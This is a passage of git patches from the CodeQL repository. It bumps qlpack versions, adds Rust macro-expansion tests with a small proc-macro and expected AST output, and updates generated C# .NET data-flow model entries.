dependencies: diff --git a/shared/ssa/qlpack.yml b/shared/ssa/qlpack.yml index f6a6ce660752..fe5fa023a96c 100644 --- a/shared/ssa/qlpack.yml +++ b/shared/ssa/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/ssa -version: 1.1.2 +version: 1.1.3-dev groups: shared library: true dependencies: diff --git a/shared/threat-models/qlpack.yml b/shared/threat-models/qlpack.yml index 3231707ef499..a86c29ceba3c 100644 --- a/shared/threat-models/qlpack.yml +++ b/shared/threat-models/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/threat-models -version: 1.0.23 +version: 1.0.24-dev library: true groups: shared dataExtensions: diff --git a/shared/tutorial/qlpack.yml b/shared/tutorial/qlpack.yml index 4102bfeb2f1e..a0aa1a8b3aed 100644 --- a/shared/tutorial/qlpack.yml +++ b/shared/tutorial/qlpack.yml @@ -1,7 +1,7 @@ name: codeql/tutorial description: Library for the CodeQL detective tutorials, helping new users learn to write CodeQL queries. -version: 1.0.23 +version: 1.0.24-dev groups: shared library: true warnOnImplicitThis: true diff --git a/shared/typeflow/qlpack.yml b/shared/typeflow/qlpack.yml index 485648dde5b6..123e7a98891f 100644 --- a/shared/typeflow/qlpack.yml +++ b/shared/typeflow/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/typeflow -version: 1.0.23 +version: 1.0.24-dev groups: shared library: true dependencies: diff --git a/shared/typeinference/qlpack.yml b/shared/typeinference/qlpack.yml index 4c3dc975ca23..bbfe2ad66157 100644 --- a/shared/typeinference/qlpack.yml +++ b/shared/typeinference/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/typeinference -version: 0.0.4 +version: 0.0.5-dev groups: shared library: true dependencies: diff --git a/shared/typetracking/qlpack.yml b/shared/typetracking/qlpack.yml index afcebca713b6..eef6fe52e662 100644 --- a/shared/typetracking/qlpack.yml +++ b/shared/typetracking/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/typetracking -version: 2.0.7 +version: 2.0.8-dev groups: shared library: true dependencies: diff --git a/shared/typos/qlpack.yml b/shared/typos/qlpack.yml index 15579110177e..93833e02e664 100644 --- a/shared/typos/qlpack.yml +++ b/shared/typos/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/typos -version: 1.0.23 +version: 1.0.24-dev groups: shared library: true warnOnImplicitThis: true diff --git a/shared/util/qlpack.yml b/shared/util/qlpack.yml index 6187f53a9c52..e4cfbd97b6ec 100644 --- a/shared/util/qlpack.yml +++ b/shared/util/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/util -version: 2.0.10 +version: 2.0.11-dev groups: shared library: true dependencies: null diff --git a/shared/xml/qlpack.yml b/shared/xml/qlpack.yml index 2555d030028a..73910c05517a 100644 --- a/shared/xml/qlpack.yml +++ b/shared/xml/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/xml -version: 1.0.23 +version: 1.0.24-dev groups: shared library: true dependencies: diff --git a/shared/yaml/qlpack.yml b/shared/yaml/qlpack.yml index f1cb000d7401..dabb1a335057 100644 --- a/shared/yaml/qlpack.yml +++ b/shared/yaml/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/yaml -version: 1.0.23 +version: 1.0.24-dev groups: shared library: true warnOnImplicitThis: true diff --git a/swift/ql/lib/qlpack.yml b/swift/ql/lib/qlpack.yml index baa74b0a388d..ebc4b83f267e 100644 --- a/swift/ql/lib/qlpack.yml +++ b/swift/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/swift-all -version: 4.3.0 +version: 4.3.1-dev groups: swift extractor: swift dbscheme: swift.dbscheme diff --git a/swift/ql/src/qlpack.yml b/swift/ql/src/qlpack.yml index 513b7054ed13..7f727988f7c3 100644 --- a/swift/ql/src/qlpack.yml +++ b/swift/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/swift-queries -version: 1.1.3 +version: 1.1.4-dev groups: - swift - queries From f5438390d5b025d8ab0fce5c3b2d342bd8b6f2dc Mon Sep 17 00:00:00 2001 From: Paolo Tranquilli Date: Wed, 14 May 2025 10:01:44 +0200 Subject: [PATCH 130/535] Rust: enhance macro expansion testing --- rust/ql/integration-tests/.gitignore | 1 + .../macro-expansion/Cargo.lock | 53 ++++++ .../macro-expansion/Cargo.toml | 11 ++ .../macro-expansion/diagnostics.expected | 47 ++++++ .../macro-expansion/macros/Cargo.toml | 11 ++ .../macro-expansion/macros/src/lib.rs | 18 ++ .../macro-expansion/source_archive.expected | 2 + .../macro-expansion/src/lib.rs | 11 ++ .../macro-expansion/test.expected | 11 ++ .../integration-tests/macro-expansion/test.ql | 5 + .../macro-expansion/test_macro_expansion.py | 2 + .../macro_expansion/PrintAst.expected | 155 ++++++++++++++++++ .../macro_expansion/PrintAst.qlref | 1 + .../macro_expansion/macro_expansion.rs | 6 + rust/ql/test/utils/PrintAst.expected | 0 rust/ql/test/utils/PrintAst.ql | 15 ++ 16 files changed, 349 insertions(+) create mode 100644 rust/ql/integration-tests/.gitignore create mode 100644 rust/ql/integration-tests/macro-expansion/Cargo.lock create mode 100644 rust/ql/integration-tests/macro-expansion/Cargo.toml create mode 100644 rust/ql/integration-tests/macro-expansion/diagnostics.expected create mode 100644 rust/ql/integration-tests/macro-expansion/macros/Cargo.toml create mode 100644 rust/ql/integration-tests/macro-expansion/macros/src/lib.rs create mode 100644 rust/ql/integration-tests/macro-expansion/source_archive.expected create mode 100644 rust/ql/integration-tests/macro-expansion/src/lib.rs create mode 100644 rust/ql/integration-tests/macro-expansion/test.expected create mode 100644 rust/ql/integration-tests/macro-expansion/test.ql create mode 100644 rust/ql/integration-tests/macro-expansion/test_macro_expansion.py create mode 100644 rust/ql/test/extractor-tests/macro_expansion/PrintAst.expected create mode 100644 rust/ql/test/extractor-tests/macro_expansion/PrintAst.qlref create mode 100644 rust/ql/test/utils/PrintAst.expected create mode 100644 rust/ql/test/utils/PrintAst.ql diff --git a/rust/ql/integration-tests/.gitignore b/rust/ql/integration-tests/.gitignore new file mode 100644 index 000000000000..2f7896d1d136 --- /dev/null +++ b/rust/ql/integration-tests/.gitignore @@ -0,0 +1 @@ +target/ diff --git a/rust/ql/integration-tests/macro-expansion/Cargo.lock b/rust/ql/integration-tests/macro-expansion/Cargo.lock new file mode 100644 index 000000000000..976dc5e7def2 --- /dev/null +++ b/rust/ql/integration-tests/macro-expansion/Cargo.lock @@ -0,0 +1,53 @@ +# This file is automatically @generated by Cargo. +# It is not intended for manual editing. +version = 4 + +[[package]] +name = "macro_expansion" +version = "0.1.0" +dependencies = [ + "macros", +] + +[[package]] +name = "macros" +version = "0.1.0" +dependencies = [ + "quote", + "syn", +] + +[[package]] +name = "proc-macro2" +version = "1.0.95" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "02b3e5e68a3a1a02aad3ec490a98007cbc13c37cbe84a3cd7b8e406d76e7f778" +dependencies = [ + "unicode-ident", +] + +[[package]] +name = "quote" +version = "1.0.40" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1885c039570dc00dcb4ff087a89e185fd56bae234ddc7f056a945bf36467248d" +dependencies = [ + "proc-macro2", +] + +[[package]] +name = "syn" +version = "2.0.101" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8ce2b7fc941b3a24138a0a7cf8e858bfc6a992e7978a068a5c760deb0ed43caf" +dependencies = [ + "proc-macro2", + "quote", + "unicode-ident", +] + +[[package]] +name = "unicode-ident" +version = "1.0.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5a5f39404a5da50712a4c1eecf25e90dd62b613502b7e925fd4e4d19b5c96512" diff --git a/rust/ql/integration-tests/macro-expansion/Cargo.toml b/rust/ql/integration-tests/macro-expansion/Cargo.toml new file mode 100644 index 000000000000..b7ce204e07ff --- /dev/null +++ b/rust/ql/integration-tests/macro-expansion/Cargo.toml @@ -0,0 +1,11 @@ +[workspace] +members = ["macros"] +resolver = "2" + +[package] +name = "macro_expansion" +version = "0.1.0" +edition = "2024" + +[dependencies] +macros = { path = "macros" } diff --git a/rust/ql/integration-tests/macro-expansion/diagnostics.expected b/rust/ql/integration-tests/macro-expansion/diagnostics.expected new file mode 100644 index 000000000000..74e11aa9f2b4 --- /dev/null +++ b/rust/ql/integration-tests/macro-expansion/diagnostics.expected @@ -0,0 +1,47 @@ +{ + "attributes": { + "durations": { + "crateGraph": { + "ms": "__REDACTED__", + "pretty": "__REDACTED__" + }, + "extract": { + "ms": "__REDACTED__", + "pretty": "__REDACTED__" + }, + "findManifests": { + "ms": "__REDACTED__", + "pretty": "__REDACTED__" + }, + "loadManifest": { + "ms": "__REDACTED__", + "pretty": "__REDACTED__" + }, + "loadSource": { + "ms": "__REDACTED__", + "pretty": "__REDACTED__" + }, + "parse": { + "ms": "__REDACTED__", + "pretty": "__REDACTED__" + }, + "total": { + "ms": "__REDACTED__", + "pretty": "__REDACTED__" + } + }, + "numberOfFiles": 3, + "numberOfManifests": 1 + }, + "severity": "note", + "source": { + "extractorName": "rust", + "id": "rust/extractor/telemetry", + "name": "telemetry" + }, + "visibility": { + "cliSummaryTable": false, + "statusPage": false, + "telemetry": true + } +} diff --git a/rust/ql/integration-tests/macro-expansion/macros/Cargo.toml b/rust/ql/integration-tests/macro-expansion/macros/Cargo.toml new file mode 100644 index 000000000000..a503d3fb903f --- /dev/null +++ b/rust/ql/integration-tests/macro-expansion/macros/Cargo.toml @@ -0,0 +1,11 @@ +[package] +name = "macros" +version = "0.1.0" +edition = "2024" + +[lib] +proc-macro = true + +[dependencies] +quote = "1.0.40" +syn = { version = "2.0.100", features = ["full"] } diff --git a/rust/ql/integration-tests/macro-expansion/macros/src/lib.rs b/rust/ql/integration-tests/macro-expansion/macros/src/lib.rs new file mode 100644 index 000000000000..8d1f3be0e4ef --- /dev/null +++ b/rust/ql/integration-tests/macro-expansion/macros/src/lib.rs @@ -0,0 +1,18 @@ +use proc_macro::TokenStream; +use quote::quote; + +#[proc_macro_attribute] +pub fn repeat(attr: TokenStream, item: TokenStream) -> TokenStream { + let number = syn::parse_macro_input!(attr as syn::LitInt).base10_parse::().unwrap(); + let ast = syn::parse_macro_input!(item as syn::ItemFn); + let items = (0..number) + .map(|i| { + let mut new_ast = ast.clone(); + new_ast.sig.ident = syn::Ident::new(&format!("{}_{}", ast.sig.ident, i), ast.sig.ident.span()); + new_ast + }) + .collect::>(); + quote! { + #(#items)* + }.into() +} diff --git a/rust/ql/integration-tests/macro-expansion/source_archive.expected b/rust/ql/integration-tests/macro-expansion/source_archive.expected new file mode 100644 index 000000000000..ec61af6032b7 --- /dev/null +++ b/rust/ql/integration-tests/macro-expansion/source_archive.expected @@ -0,0 +1,2 @@ +macros/src/lib.rs +src/lib.rs diff --git a/rust/ql/integration-tests/macro-expansion/src/lib.rs b/rust/ql/integration-tests/macro-expansion/src/lib.rs new file mode 100644 index 000000000000..6d2d6037e5d2 --- /dev/null +++ b/rust/ql/integration-tests/macro-expansion/src/lib.rs @@ -0,0 +1,11 @@ +use macros::repeat; + +#[repeat(3)] +fn foo() {} + +#[repeat(2)] +#[repeat(3)] +fn bar() {} + +#[repeat(0)] +fn baz() {} diff --git a/rust/ql/integration-tests/macro-expansion/test.expected b/rust/ql/integration-tests/macro-expansion/test.expected new file mode 100644 index 000000000000..1247930bd226 --- /dev/null +++ b/rust/ql/integration-tests/macro-expansion/test.expected @@ -0,0 +1,11 @@ +| src/lib.rs:3:1:4:11 | fn foo | 0 | src/lib.rs:4:1:4:10 | fn foo_0 | +| src/lib.rs:3:1:4:11 | fn foo | 1 | src/lib.rs:4:1:4:10 | fn foo_1 | +| src/lib.rs:3:1:4:11 | fn foo | 2 | src/lib.rs:4:1:4:10 | fn foo_2 | +| src/lib.rs:6:1:8:11 | fn bar | 0 | src/lib.rs:7:1:8:10 | fn bar_0 | +| src/lib.rs:6:1:8:11 | fn bar | 1 | src/lib.rs:7:1:8:10 | fn bar_1 | +| src/lib.rs:7:1:8:10 | fn bar_0 | 0 | src/lib.rs:8:1:8:10 | fn bar_0_0 | +| src/lib.rs:7:1:8:10 | fn bar_0 | 1 | src/lib.rs:8:1:8:10 | fn bar_0_1 | +| src/lib.rs:7:1:8:10 | fn bar_0 | 2 | src/lib.rs:8:1:8:10 | fn bar_0_2 | +| src/lib.rs:7:1:8:10 | fn bar_1 | 0 | src/lib.rs:8:1:8:10 | fn bar_1_0 | +| src/lib.rs:7:1:8:10 | fn bar_1 | 1 | src/lib.rs:8:1:8:10 | fn bar_1_1 | +| src/lib.rs:7:1:8:10 | fn bar_1 | 2 | src/lib.rs:8:1:8:10 | fn bar_1_2 | diff --git a/rust/ql/integration-tests/macro-expansion/test.ql b/rust/ql/integration-tests/macro-expansion/test.ql new file mode 100644 index 000000000000..f3f49cbf5c73 --- /dev/null +++ b/rust/ql/integration-tests/macro-expansion/test.ql @@ -0,0 +1,5 @@ +import rust + +from Item i, MacroItems items, int index, Item expanded +where i.getAttributeMacroExpansion() = items and items.getItem(index) = expanded +select i, index, expanded diff --git a/rust/ql/integration-tests/macro-expansion/test_macro_expansion.py b/rust/ql/integration-tests/macro-expansion/test_macro_expansion.py new file mode 100644 index 000000000000..0d20cc2e27da --- /dev/null +++ b/rust/ql/integration-tests/macro-expansion/test_macro_expansion.py @@ -0,0 +1,2 @@ +def test_macro_expansion(codeql, rust, check_source_archive, rust_check_diagnostics): + codeql.database.create() diff --git a/rust/ql/test/extractor-tests/macro_expansion/PrintAst.expected b/rust/ql/test/extractor-tests/macro_expansion/PrintAst.expected new file mode 100644 index 000000000000..43410dfcd8e4 --- /dev/null +++ b/rust/ql/test/extractor-tests/macro_expansion/PrintAst.expected @@ -0,0 +1,155 @@ +lib.rs: +# 1| [SourceFile] SourceFile +# 1| getItem(0): [Module] mod macro_expansion +# 1| getName(): [Name] macro_expansion +macro_expansion.rs: +# 1| [SourceFile] SourceFile +# 1| getItem(0): [Function] fn foo +# 2| getAttributeMacroExpansion(): [MacroItems] MacroItems +# 2| getItem(0): [Function] fn foo +# 1| getParamList(): [ParamList] ParamList +# 1| getAbi(): [Abi] Abi +# 2| getBody(): [BlockExpr] { ... } +# 2| getStmtList(): [StmtList] StmtList +# 2| getName(): [Name] foo +# 2| getItem(1): [Static] Static +# 1| getAttr(0): [Attr] Attr +# 1| getMeta(): [Meta] Meta +# 1| getPath(): [Path] used +# 1| getSegment(): [PathSegment] used +# 1| getIdentifier(): [NameRef] used +# 1| getAttr(1): [Attr] Attr +# 1| getMeta(): [Meta] Meta +# 1| getPath(): [Path] allow +# 1| getSegment(): [PathSegment] allow +# 1| getIdentifier(): [NameRef] allow +# 1| getTokenTree(): [TokenTree] TokenTree +# 1| getAttr(2): [Attr] Attr +# 1| getMeta(): [Meta] Meta +# 1| getPath(): [Path] doc +# 1| getSegment(): [PathSegment] doc +# 1| getIdentifier(): [NameRef] doc +# 1| getTokenTree(): [TokenTree] TokenTree +# 1| getAttr(3): [Attr] Attr +# 1| getMeta(): [Meta] Meta +# 1| getPath(): [Path] cfg_attr +# 1| getSegment(): [PathSegment] cfg_attr +# 1| getIdentifier(): [NameRef] cfg_attr +# 1| getTokenTree(): [TokenTree] TokenTree +# 1| getAttr(4): [Attr] Attr +# 1| getMeta(): [Meta] Meta +# 1| getPath(): [Path] cfg_attr +# 1| getSegment(): [PathSegment] cfg_attr +# 1| getIdentifier(): [NameRef] cfg_attr +# 1| getTokenTree(): [TokenTree] TokenTree +# 1| getAttr(5): [Attr] Attr +# 1| getMeta(): [Meta] Meta +# 1| getPath(): [Path] cfg_attr +# 1| getSegment(): [PathSegment] cfg_attr +# 1| getIdentifier(): [NameRef] cfg_attr +# 1| getTokenTree(): [TokenTree] TokenTree +# 1| getAttr(6): [Attr] Attr +# 1| getMeta(): [Meta] Meta +# 1| getPath(): [Path] cfg_attr +# 1| getSegment(): [PathSegment] cfg_attr +# 1| getIdentifier(): [NameRef] cfg_attr +# 1| getTokenTree(): [TokenTree] TokenTree +# 1| getAttr(7): [Attr] Attr +# 1| getMeta(): [Meta] Meta +# 1| getPath(): [Path] cfg_attr +# 1| getSegment(): [PathSegment] cfg_attr +# 1| getIdentifier(): [NameRef] cfg_attr +# 1| getTokenTree(): [TokenTree] TokenTree +# 1| getAttr(8): [Attr] Attr +# 1| getMeta(): [Meta] Meta +# 1| getPath(): [Path] cfg_attr +# 1| getSegment(): [PathSegment] cfg_attr +# 1| getIdentifier(): [NameRef] cfg_attr +# 1| getTokenTree(): [TokenTree] TokenTree +# 1| getAttr(9): [Attr] Attr +# 1| getMeta(): [Meta] Meta +# 1| getPath(): [Path] cfg_attr +# 1| getSegment(): [PathSegment] cfg_attr +# 1| getIdentifier(): [NameRef] cfg_attr +# 1| getTokenTree(): [TokenTree] TokenTree +# 1| getAttr(10): [Attr] Attr +# 1| getMeta(): [Meta] Meta +# 1| getPath(): [Path] cfg_attr +# 1| getSegment(): [PathSegment] cfg_attr +# 1| getIdentifier(): [NameRef] cfg_attr +# 1| getTokenTree(): [TokenTree] TokenTree +# 1| getAttr(11): [Attr] Attr +# 1| getMeta(): [Meta] Meta +# 1| getPath(): [Path] cfg_attr +# 1| getSegment(): [PathSegment] cfg_attr +# 1| getIdentifier(): [NameRef] cfg_attr +# 1| getTokenTree(): [TokenTree] TokenTree +# 2| getBody(): [BlockExpr] { ... } +# 2| getStmtList(): [StmtList] StmtList +# 2| getStatement(0): [Function] fn foo___rust_ctor___ctor +# 1| getParamList(): [ParamList] ParamList +# 1| getAttr(0): [Attr] Attr +# 1| getMeta(): [Meta] Meta +# 1| getPath(): [Path] allow +# 1| getSegment(): [PathSegment] allow +# 1| getIdentifier(): [NameRef] allow +# 1| getTokenTree(): [TokenTree] TokenTree +# 1| getAttr(1): [Attr] Attr +# 1| getMeta(): [Meta] Meta +# 1| getPath(): [Path] cfg_attr +# 1| getSegment(): [PathSegment] cfg_attr +# 1| getIdentifier(): [NameRef] cfg_attr +# 1| getTokenTree(): [TokenTree] TokenTree +# 1| getAbi(): [Abi] Abi +# 2| getBody(): [BlockExpr] { ... } +# 2| getStmtList(): [StmtList] StmtList +# 2| getStatement(0): [ExprStmt] ExprStmt +# 2| getExpr(): [CallExpr] foo(...) +# 1| getArgList(): [ArgList] ArgList +# 2| getFunction(): [PathExpr] foo +# 2| getPath(): [Path] foo +# 2| getSegment(): [PathSegment] foo +# 2| getIdentifier(): [NameRef] foo +# 1| getTailExpr(): [LiteralExpr] 0 +# 1| getName(): [Name] foo___rust_ctor___ctor +# 1| getRetType(): [RetTypeRepr] RetTypeRepr +# 1| getTypeRepr(): [PathTypeRepr] usize +# 1| getPath(): [Path] usize +# 1| getSegment(): [PathSegment] usize +# 1| getIdentifier(): [NameRef] usize +# 1| getTailExpr(): [PathExpr] foo___rust_ctor___ctor +# 1| getPath(): [Path] foo___rust_ctor___ctor +# 1| getSegment(): [PathSegment] foo___rust_ctor___ctor +# 1| getIdentifier(): [NameRef] foo___rust_ctor___ctor +# 1| getName(): [Name] foo___rust_ctor___ctor +# 1| getTypeRepr(): [FnPtrTypeRepr] FnPtrTypeRepr +# 1| getAbi(): [Abi] Abi +# 1| getParamList(): [ParamList] ParamList +# 1| getRetType(): [RetTypeRepr] RetTypeRepr +# 1| getTypeRepr(): [PathTypeRepr] usize +# 1| getPath(): [Path] usize +# 1| getSegment(): [PathSegment] usize +# 1| getIdentifier(): [NameRef] usize +# 2| getParamList(): [ParamList] ParamList +# 1| getAttr(0): [Attr] Attr +# 1| getMeta(): [Meta] Meta +# 1| getPath(): [Path] ...::ctor +# 1| getQualifier(): [Path] ctor +# 1| getSegment(): [PathSegment] ctor +# 1| getIdentifier(): [NameRef] ctor +# 1| getSegment(): [PathSegment] ctor +# 1| getIdentifier(): [NameRef] ctor +# 2| getBody(): [BlockExpr] { ... } +# 2| getStmtList(): [StmtList] StmtList +# 2| getName(): [Name] foo +# 4| getItem(1): [Function] fn bar +# 5| getParamList(): [ParamList] ParamList +# 4| getAttr(0): [Attr] Attr +# 4| getMeta(): [Meta] Meta +# 4| getPath(): [Path] cfg +# 4| getSegment(): [PathSegment] cfg +# 4| getIdentifier(): [NameRef] cfg +# 4| getTokenTree(): [TokenTree] TokenTree +# 5| getBody(): [BlockExpr] { ... } +# 5| getStmtList(): [StmtList] StmtList +# 5| getName(): [Name] bar diff --git a/rust/ql/test/extractor-tests/macro_expansion/PrintAst.qlref b/rust/ql/test/extractor-tests/macro_expansion/PrintAst.qlref new file mode 100644 index 000000000000..ee3c14c56f15 --- /dev/null +++ b/rust/ql/test/extractor-tests/macro_expansion/PrintAst.qlref @@ -0,0 +1 @@ +utils/PrintAst.ql diff --git a/rust/ql/test/extractor-tests/macro_expansion/macro_expansion.rs b/rust/ql/test/extractor-tests/macro_expansion/macro_expansion.rs index 8ccaa6276c6a..1825f1056e35 100644 --- a/rust/ql/test/extractor-tests/macro_expansion/macro_expansion.rs +++ b/rust/ql/test/extractor-tests/macro_expansion/macro_expansion.rs @@ -1,2 +1,8 @@ #[ctor::ctor] fn foo() {} + +#[cfg(any(linux, not(linux)))] +fn bar() {} + +#[cfg(all(linux, not(linux)))] +fn baz() {} diff --git a/rust/ql/test/utils/PrintAst.expected b/rust/ql/test/utils/PrintAst.expected new file mode 100644 index 000000000000..e69de29bb2d1 diff --git a/rust/ql/test/utils/PrintAst.ql b/rust/ql/test/utils/PrintAst.ql new file mode 100644 index 000000000000..299b092d51f2 --- /dev/null +++ b/rust/ql/test/utils/PrintAst.ql @@ -0,0 +1,15 @@ +/** + * @name Print AST + * @description Outputs a representation of a file's Abstract Syntax Tree + * @id rust/test/print-ast + * @kind graph + */ + +import rust +import codeql.rust.printast.PrintAst +import codeql.rust.elements.internal.generated.ParentChild +import TestUtils + +predicate shouldPrint(Locatable e) { toBeTested(e) } + +import PrintAst From 08b950eeebc9f0def142c3fd4289a28150987fac Mon Sep 17 00:00:00 2001 From: Michael Nebel Date: Tue, 13 May 2025 13:53:12 +0200 Subject: [PATCH 131/535] C#: Update .NET 9 Runtime generated models. --- .../ILLink.Shared.DataFlow.model.yml | 4 +- .../generated/Internal.TypeSystem.model.yml | 17 ++-- ...crosoft.Extensions.Configuration.model.yml | 4 +- .../ext/generated/Mono.Linker.Steps.model.yml | 4 +- .../lib/ext/generated/Mono.Linker.model.yml | 2 +- .../System.Collections.Frozen.model.yml | 4 +- .../System.Collections.Generic.model.yml | 8 +- .../System.Collections.Immutable.model.yml | 87 ++++++++++--------- ...m.ComponentModel.DataAnnotations.model.yml | 28 ++---- .../generated/System.ComponentModel.model.yml | 12 +-- .../System.Composition.Hosting.Core.model.yml | 2 +- .../generated/System.Composition.model.yml | 19 ++-- .../ext/generated/System.Data.Odbc.model.yml | 2 +- .../generated/System.Globalization.model.yml | 2 +- .../System.Linq.Expressions.model.yml | 24 ++--- .../lib/ext/generated/System.Linq.model.yml | 2 +- .../ql/lib/ext/generated/System.Net.model.yml | 2 +- .../ext/generated/System.Reflection.model.yml | 4 +- .../System.Runtime.CompilerServices.model.yml | 2 +- .../System.ServiceModel.Syndication.model.yml | 1 + .../System.Text.RegularExpressions.model.yml | 2 +- .../System.Threading.Tasks.model.yml | 22 ++--- .../ext/generated/System.Xml.Linq.model.yml | 12 ++- .../generated/System.Xml.Resolvers.model.yml | 1 + .../ext/generated/System.Xml.Schema.model.yml | 13 +-- .../ext/generated/System.Xml.XPath.model.yml | 3 +- .../System.Xml.Xsl.Runtime.model.yml | 9 +- .../ql/lib/ext/generated/System.Xml.model.yml | 14 +-- csharp/ql/lib/ext/generated/System.model.yml | 18 +--- 29 files changed, 161 insertions(+), 163 deletions(-) diff --git a/csharp/ql/lib/ext/generated/ILLink.Shared.DataFlow.model.yml b/csharp/ql/lib/ext/generated/ILLink.Shared.DataFlow.model.yml index d29f75b86f18..1d8ce809cda1 100644 --- a/csharp/ql/lib/ext/generated/ILLink.Shared.DataFlow.model.yml +++ b/csharp/ql/lib/ext/generated/ILLink.Shared.DataFlow.model.yml @@ -28,8 +28,8 @@ extensions: - ["ILLink.Shared.DataFlow", "ValueSet", False, "DeepCopy", "()", "", "Argument[this]", "ReturnValue", "value", "df-generated"] - ["ILLink.Shared.DataFlow", "ValueSet", False, "GetKnownValues", "()", "", "Argument[this].SyntheticField[ILLink.Shared.DataFlow.ValueSet`1._values]", "ReturnValue.SyntheticField[ILLink.Shared.DataFlow.ValueSet`1+Enumerable._values]", "value", "dfc-generated"] - ["ILLink.Shared.DataFlow", "ValueSet", False, "ValueSet", "(TValue)", "", "Argument[0]", "Argument[this].SyntheticField[ILLink.Shared.DataFlow.ValueSet`1._values]", "value", "dfc-generated"] - - ["ILLink.Shared.DataFlow", "ValueSetLattice", False, "Meet", "(ILLink.Shared.DataFlow.ValueSet,ILLink.Shared.DataFlow.ValueSet)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] - - ["ILLink.Shared.DataFlow", "ValueSetLattice", False, "Meet", "(ILLink.Shared.DataFlow.ValueSet,ILLink.Shared.DataFlow.ValueSet)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["ILLink.Shared.DataFlow", "ValueSetLattice", False, "Meet", "(ILLink.Shared.DataFlow.ValueSet,ILLink.Shared.DataFlow.ValueSet)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["ILLink.Shared.DataFlow", "ValueSetLattice", False, "Meet", "(ILLink.Shared.DataFlow.ValueSet,ILLink.Shared.DataFlow.ValueSet)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] - addsTo: pack: codeql/csharp-all extensible: neutralModel diff --git a/csharp/ql/lib/ext/generated/Internal.TypeSystem.model.yml b/csharp/ql/lib/ext/generated/Internal.TypeSystem.model.yml index e6b9fb39e71a..7c878511a801 100644 --- a/csharp/ql/lib/ext/generated/Internal.TypeSystem.model.yml +++ b/csharp/ql/lib/ext/generated/Internal.TypeSystem.model.yml @@ -13,7 +13,7 @@ extensions: - ["Internal.TypeSystem", "CanonBaseType", False, "get_Context", "()", "", "Argument[this].SyntheticField[Internal.TypeSystem.CanonBaseType._context]", "ReturnValue", "value", "dfc-generated"] - ["Internal.TypeSystem", "CanonBaseType", True, "get_MetadataBaseType", "()", "", "Argument[this].Property[Internal.TypeSystem.MetadataType.BaseType]", "ReturnValue", "value", "dfc-generated"] - ["Internal.TypeSystem", "CanonBaseType", True, "get_Module", "()", "", "Argument[this].SyntheticField[Internal.TypeSystem.CanonBaseType._context].Property[Internal.TypeSystem.TypeSystemContext.SystemModule]", "ReturnValue", "value", "dfc-generated"] - - ["Internal.TypeSystem", "ConstructedTypeRewritingHelpers", False, "ReplaceTypesInConstructionOfMethod", "(Internal.TypeSystem.MethodDesc,Internal.TypeSystem.TypeDesc[],Internal.TypeSystem.TypeDesc[])", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["Internal.TypeSystem", "ConstructedTypeRewritingHelpers", False, "ReplaceTypesInConstructionOfMethod", "(Internal.TypeSystem.MethodDesc,Internal.TypeSystem.TypeDesc[],Internal.TypeSystem.TypeDesc[])", "", "Argument[0]", "ReturnValue", "value", "df-generated"] - ["Internal.TypeSystem", "ConstructedTypeRewritingHelpers", False, "ReplaceTypesInConstructionOfMethod", "(Internal.TypeSystem.MethodDesc,Internal.TypeSystem.TypeDesc[],Internal.TypeSystem.TypeDesc[])", "", "Argument[2].Element", "ReturnValue", "taint", "df-generated"] - ["Internal.TypeSystem", "ConstructedTypeRewritingHelpers", False, "ReplaceTypesInConstructionOfType", "(Internal.TypeSystem.TypeDesc,Internal.TypeSystem.TypeDesc[],Internal.TypeSystem.TypeDesc[])", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["Internal.TypeSystem", "ConstructedTypeRewritingHelpers", False, "ReplaceTypesInConstructionOfType", "(Internal.TypeSystem.TypeDesc,Internal.TypeSystem.TypeDesc[],Internal.TypeSystem.TypeDesc[])", "", "Argument[2].Element", "ReturnValue", "value", "dfc-generated"] @@ -108,7 +108,7 @@ extensions: - ["Internal.TypeSystem", "MetadataTypeSystemContext", True, "SetSystemModule", "(Internal.TypeSystem.ModuleDesc)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - ["Internal.TypeSystem", "MetadataVirtualMethodAlgorithm", False, "EnumAllVirtualSlots", "(Internal.TypeSystem.MetadataType)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["Internal.TypeSystem", "MetadataVirtualMethodAlgorithm", False, "FindSlotDefiningMethodForVirtualMethod", "(Internal.TypeSystem.MethodDesc)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["Internal.TypeSystem", "MetadataVirtualMethodAlgorithm", False, "ResolveVariantInterfaceMethodToDefaultImplementationOnType", "(Internal.TypeSystem.MethodDesc,Internal.TypeSystem.MetadataType,Internal.TypeSystem.MethodDesc)", "", "Argument[0]", "Argument[2]", "taint", "df-generated"] + - ["Internal.TypeSystem", "MetadataVirtualMethodAlgorithm", False, "ResolveVariantInterfaceMethodToDefaultImplementationOnType", "(Internal.TypeSystem.MethodDesc,Internal.TypeSystem.MetadataType,Internal.TypeSystem.MethodDesc)", "", "Argument[0]", "Argument[2]", "value", "df-generated"] - ["Internal.TypeSystem", "MetadataVirtualMethodAlgorithm", False, "ResolveVariantInterfaceMethodToDefaultImplementationOnType", "(Internal.TypeSystem.MethodDesc,Internal.TypeSystem.MetadataType,Internal.TypeSystem.MethodDesc)", "", "Argument[1]", "Argument[2]", "taint", "df-generated"] - ["Internal.TypeSystem", "MetadataVirtualMethodAlgorithm", False, "ResolveVariantInterfaceMethodToVirtualMethodOnType", "(Internal.TypeSystem.MethodDesc,Internal.TypeSystem.MetadataType)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] - ["Internal.TypeSystem", "MethodDelegator", False, 